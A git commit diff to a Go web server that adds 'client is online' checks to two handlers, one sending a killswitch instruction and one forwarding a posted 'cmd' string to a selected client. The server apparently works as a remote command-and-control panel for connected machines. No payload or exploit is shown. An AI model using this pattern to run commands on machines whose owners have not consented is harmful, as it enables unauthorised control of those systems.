Check if client is online before trying to execute instructions

This commit is contained in:
raul 2024-06-07 12:39:07 +02:00
parent 1e23bcf356
commit df67a29de9
1 changed files with 11 additions and 0 deletions

View File

@ -75,6 +75,11 @@ func sendKillswitch(c *gin.Context) {
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
return
}
if clientList[intClientID].IsOnline == false {
return
}
inst := Instructions{
IsKillswitch: true,
}
@ -89,6 +94,12 @@ func execCMD(c *gin.Context) {
c.String(http.StatusInternalServerError, "Error happened, please make this a proper error later")
return
}
if clientList[idInt].IsOnline == false {
c.String(http.StatusOK, "Client is currently offline!")
return
}
command, _ := c.GetPostForm("cmd")
out, err := sendCommand(idInt, command)